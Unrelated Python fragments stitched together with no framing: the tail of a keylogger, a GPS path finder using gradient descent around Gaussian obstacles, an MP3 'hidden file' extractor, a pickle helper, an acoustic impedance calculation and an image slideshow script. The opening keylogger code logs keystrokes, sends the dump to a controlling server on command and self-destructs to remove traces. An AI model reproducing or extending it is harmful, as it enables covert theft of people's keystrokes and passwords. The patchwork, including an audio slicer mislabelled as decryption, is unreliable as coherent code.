                    k = str(key).replace("Key.enter", "\n")  # replace enter with "\n
                elif k == "Key.caps_lock":
                    k = str(key).replace("Key.caps_lock", "CAPS LOCK")  # replace caps lock with caps lock
                elif k == "Key.space":
                    k = str(key).replace("Key.space", " ")  # replace space with space
                try:
                    file.write(k)
                    print (k, "was written")
                except Exception as e:
                    print (e.args)

    def readkeys(self):
        """
        This function is intended to return the contents of the output file to the server when keylog_dump is issued.
        The function just opens the file, reads the entire file into a buffer, and returns that buffer.
        In the server, that buffer is then deposted into dump.txt and placed on the desktop
        """
        file_to_write = self.file_to_write
        with open(file_to_write, 'r') as file:
            dump = ''
            while True:
                buffer = file.readline()
                if buffer == '':
                    break
                dump += buffer
            return dump

    def self_destruct(self):
        """
        The self_destruct function is just to remove all traces. It sets the abort flag to TRUE so that the loop stops,
        checks to see if the output file exists, and removes it if it does.
        """
        print("You're going to the shadow realm, Jimbo")
        #if the keylog dump file still exists, destroy it
        file_to_write = self.file_to_write
        self.ABORT = True
        if os.path.exists(file_to_write):
            os.remove(file_to_write)


import sympy as sp
import numpy as np
import itertools
import pandas as pd
import math
from mpl_toolkits.mplot3d import Axes3D
import matplotlib.pyplot as plt
from sympy.core.function import Function

def round_down(n, decimals=0):
    multiplier = 10 ** decimals
    return math.floor(n * multiplier) / multiplier

def GPSPathFinder(initial_location, final_location, obstacles_location_1, obstacles_location_2):
    steps =[0.0, 0.0]
    steps[0] = round_down(((final_location[0] - initial_location[0])/100), 10)
    steps[1] = round_down(((final_location[1] - initial_location[1])/100), 10)

    a1 = [0.0, 0.0]
    a1[0] = round_down(((obstacles_location_1[0] - initial_location[0]) / steps[0]), 10)
    a1[1] = round_down(((obstacles_location_1[1] - initial_location[1]) / steps[1]), 10)
    a2 = [0.0, 0.0]
    a2[0] = round_down(((obstacles_location_2[0] - initial_location[0]) / steps[0]), 10)
    a2[1] = round_down(((obstacles_location_2[1] - initial_location[1]) / steps[1]), 10)

    initial_loc = [0.0 , 0.0]
    cur_loc = initial_loc

    final_loc = [100.0, 100.0]
    mu = [a1, a2]
    sigma = [[50.0, 0.0], [0.0, 50.0]]
    u, v = sp.symbols('u v')
    w = (np.power(final_loc[0]-u, 2) + np.power(final_loc[1]-v,2))/20000 + \
        1e4 * (1/(sp.det(sp.Matrix(sigma))*2*np.pi) )  *  sp.exp(-(1/2) * np.transpose([(u-mu[0][0]),(v-mu[0][1])]).dot( np.linalg.pinv(sigma).dot([(u-mu[0][0]),(v-mu[0][1])]))) + \
        1e4 * (1/(sp.det(sp.Matrix(sigma))*2*np.pi) )  *  sp.exp(-(1/2) * np.transpose([(u-mu[1][0]),(v-mu[1][1])]).dot( np.linalg.pinv(sigma).dot([(u-mu[1][0]),(v-mu[1][1])])))

    dx = sp.diff(w, u)
    dy = sp.diff(w, v)
    dz = sp.lambdify([u,v],w,'numpy')

    x = list(np.arange(0.0, 104.0, 4.0))
    y = list(np.arange(0.0, 104.0, 4.0))
    x, y = np.meshgrid(x, y)
    z = dz(x,y)

    fig1 = plt.figure()
    ax = fig1.add_subplot(projection='3d')
    ax.plot_wireframe(x, y, z,  rstride=1, cstride=1, alpha = 0.5)
    ax.scatter(initial_loc[0],initial_loc[1], dz(initial_loc[0], initial_loc[1]),c = 'b',marker = '*',alpha = 0.8)

    ax.text(initial_loc[0],initial_loc[1], dz(initial_loc[0], initial_loc[1]), " Source", color='red')
    ax.scatter(final_loc[0],final_loc[1], dz(final_loc[0], final_loc[1]),c = 'r',marker = '*',alpha = 0.8)
    ax.text(final_loc[0],final_loc[1], dz(final_loc[0], final_loc[1]), " Goal", color='blue')

    p = []
    while not(cur_loc == final_loc) :
        if (cur_loc[0] > final_loc[0] or cur_loc[1] > final_loc[1]) :
            break
        dX = round_down(dx.evalf(subs = {u : cur_loc[0], v : cur_loc[1]}), 10)
        dY = round_down(dy.evalf(subs = {u : cur_loc[0], v : cur_loc[1]}), 10)
        d = sp.sqrt(dX**2 + dY**2)
        alpha = round_down(1/d, 10)

        cur_loc = list(cur_loc - (alpha * np.array([dX, dY],dtype ='float')))
        cur_loc = [round_down(inx, 10) for inx in cur_loc]
        ax.scatter(cur_loc[0],cur_loc[1],float(w.evalf(subs = {u : cur_loc[0], v : cur_loc[1]})),c = 'g',marker = '*',alpha = 0.8)
        p.append(cur_loc)

    for i in p:
        print(i[0])
        i[0] = (i[0] * steps[0]) + initial_location[0]
        i[1] = (i[1] * steps[1]) + initial_location[1]
    plt.show()
    return p

initial_location = [32.865816, -117.210019]
final_location = [32.865695, -117.210167]
obstacles_location_1 = [32.865797, -117.210067]
obstacles_location_2 = [32.865731, -117.210106]
path = GPSPathFinder(initial_location, final_location, obstacles_location_1, obstacles_location_2)
path.append(obstacles_location_1)
path.append(obstacles_location_2)
df = pd.DataFrame(path)
df.columns = ['Latitude', 'Longitude']
df.to_csv (r'C:\Users\Omid\Desktop\export_dataframe.csv', index = False, header=True)
#go to GoogleMyMaps and import the .csv file
print(df)


from pydub import AudioSegment
import os

def decrypt_file_from_mp3(mp3_file_path, output_file_path):
    # Load the MP3 file
    audio = AudioSegment.from_file(mp3_file_path, format="mp3")

    # Extract the hidden data (last part of the audio)
    hidden_data = audio[-len(audio) // 10:]

    # Export the hidden data as a separate file
    hidden_data.export(output_file_path, format="raw")

    print("File decrypted successfully:", output_file_path)

# Path to the MP3 file and output file path for the decrypted file
mp3_file_path = "soft_hidden.mp3"
output_file_path = "decrypted_file.txt"

# Call the function to decrypt the hidden file from the MP3 file
decrypt_file_from_mp3(mp3_file_path, output_file_path)


import itertools
import pickle
from typing import List, Any

from source.base import exit_on_data_err

class PickleIO(object):

    def read_pickle(self, path, to_sentence_preprocess=False) -> Any:
        data: List[Any] = []
        try:
            with open(file=path, mode="rb") as json_file:
                data = pickle.load(json_file)
        except FileNotFoundError as fe:
            exit_on_data_err()
        if to_sentence_preprocess:
            data = self.sentence_preprocessor(data)
        return data

    @staticmethod
    def write_pickle(path, object_):
        with open(path, 'wb') as handle:
            pickle.dump(object_, handle, protocol=pickle.HIGHEST_PROTOCOL)

    @staticmethod
    def sentence_preprocessor(data) -> List[str]:
        final_data: List = []
        final_data += [dat.replace("\n", " ").replace("   ", " ").replace("  ", " ").split("।") for dat in data]
        final_data = [dat.replace("’", "").replace("'", "").replace("‘", "").lstrip() for dat in
                      list(itertools.chain.from_iterable(final_data)) if
                      5 < len(dat.split(" ")) < 20]
        return final_data


# Circular piston in spherical baffle.

# Sources:
#
# Chalker, Mackerras - "Models for Representing the Acoustic Radiation
# Impedance of the Mouth", 1985.
#
# Morse, Ingard - "Theoretical Acoustics", 1968.

# Note:
# - spherical_yn returns -inf for z = 0. This happens when the input frequency
#   is zero.

import numpy as np
from scipy.special import spherical_jn, spherical_yn, lpn

def calc_R_X(kas, phi, n):
    R = np.zeros(kas.shape)
    X = np.zeros(kas.shape)
    kas_2 = kas**2
    cos_phi = np.cos(phi)

    P = lpn(n, cos_phi)[0]

    for m in np.arange(n):
        P_p = P[m + 1]
        if m == 0:
            P_n = 1.0 # from Morse-1968
        else:
            P_n = P[m - 1]

        jn_p = spherical_jn(m + 1, kas)
        if m > 0:
            jn_n = spherical_jn(m - 1, kas)
        else:
            jn_n = np.zeros(kas.shape)
        yn_p = spherical_yn(m + 1, kas)
        if m > 0:
            yn_n = spherical_yn(m - 1, kas)
        else:
            yn_n = np.zeros(kas.shape)

        B = ((1.0 / (2.0 * m + 1.0))
             * np.sqrt((m * yn_n - (m + 1) * yn_p)**2
                       + ((m + 1) * jn_p - m * jn_n)**2))
        delta = np.arctan2((m + 1) * jn_p - m * jn_n,
                           m * yn_n - (m + 1) * yn_p)

        R += (P_n - P_p)**2 / (kas_2 * (2.0 * m + 1.0) * (B * np.sin(phi * 0.5))**2)

        X += (((P_n - P_p)**2 / ((2.0 * m + 1.0) * B * np.sin(phi * 0.5)**2))
              * (spherical_jn(m, kas) * np.sin(delta) - spherical_yn(m, kas) * np.cos(delta)))

    return 0.25 * R, 0.25 * X

# Return impedance divided by (density * c).
def impedance(freq, c, a, a_sphere, n):
    w = 2.0 * np.pi * freq
    k = w / c
    phi = np.arcsin(a / a_sphere)

    R, X = calc_R_X(k * a_sphere, phi, n)
    return R, X


import cv2
import os

folder = '/home/linlincheng/Documents/Projects/L2CS-Net-main/heatmap/plots/simple_mytest6/5s'  # path that saves plots
folder = 'E:/Master/MasterThesis/L2CS-Net-main/heatmap/plots/simple_mytest6/5s/'  # path that saves plots
# images = []
count = 0

for filename in os.listdir(folder):
    img = cv2.imread(os.path.join(folder, filename))
    if img is not None and filename.endswith(".jpg"):
        # images.append(img)
        cv2.imshow("images", img)
        # the timing of showing the image in milisecs; putting 0 means you need to close the image manually to proceed
        cv2.waitKey(1000)
        cv2.destroyAllWindows()
    else:
        count += 1
        print(f"There are {count} images that are not counted.")

# print(len(images))